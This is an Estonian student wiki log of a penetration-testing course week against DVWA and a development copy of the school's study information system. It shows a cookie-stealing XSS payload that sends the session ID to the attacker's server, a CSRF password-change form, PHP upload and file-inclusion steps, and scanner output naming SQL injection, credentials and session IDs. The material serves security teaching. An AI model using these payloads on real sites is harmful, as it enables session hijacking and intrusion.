Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
:Alo Konno A21&lt;br /&gt;
:Urmo Lihten A21&lt;br /&gt;
:Taavi Podžuks A22&lt;br /&gt;
:Matis Alliksoo A22&lt;br /&gt;
:Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Täname oma juhendajaid:&lt;br /&gt;
:Mart Mangus&lt;br /&gt;
:Margus Ernits&lt;br /&gt;
:Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47072</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47072"/>
		<updated>2012-03-30T21:04:46Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Acunetix Web Vulnerability Scanner v. 8 automaatskännimise tööriistaga tutvumine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
==== Acunetix Web Vulnerability Scanner v. 8 automaatskännimise tööriistaga tutvumine ====&lt;br /&gt;
 http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
 http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
 http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
 http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
 http://www.isecom.org/research.html&lt;br /&gt;
 http://evuln.com/tools/&lt;br /&gt;
 http://sectools.org/tag/web-scanners/&lt;br /&gt;
 http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
 http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
:Cross-Site Scripting (XSS)&lt;br /&gt;
:SQL Injection (blind test)&lt;br /&gt;
:File inclusion&lt;br /&gt;
:Code Execution&lt;br /&gt;
:LDAP Injection&lt;br /&gt;
:Cross Frame Scripting&lt;br /&gt;
:SQL Injection (error msg. test)&lt;br /&gt;
:CRLF Injection&lt;br /&gt;
:Directory Travelsal&lt;br /&gt;
:XPath Injection&lt;br /&gt;
:URL Redirection&lt;br /&gt;
:Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
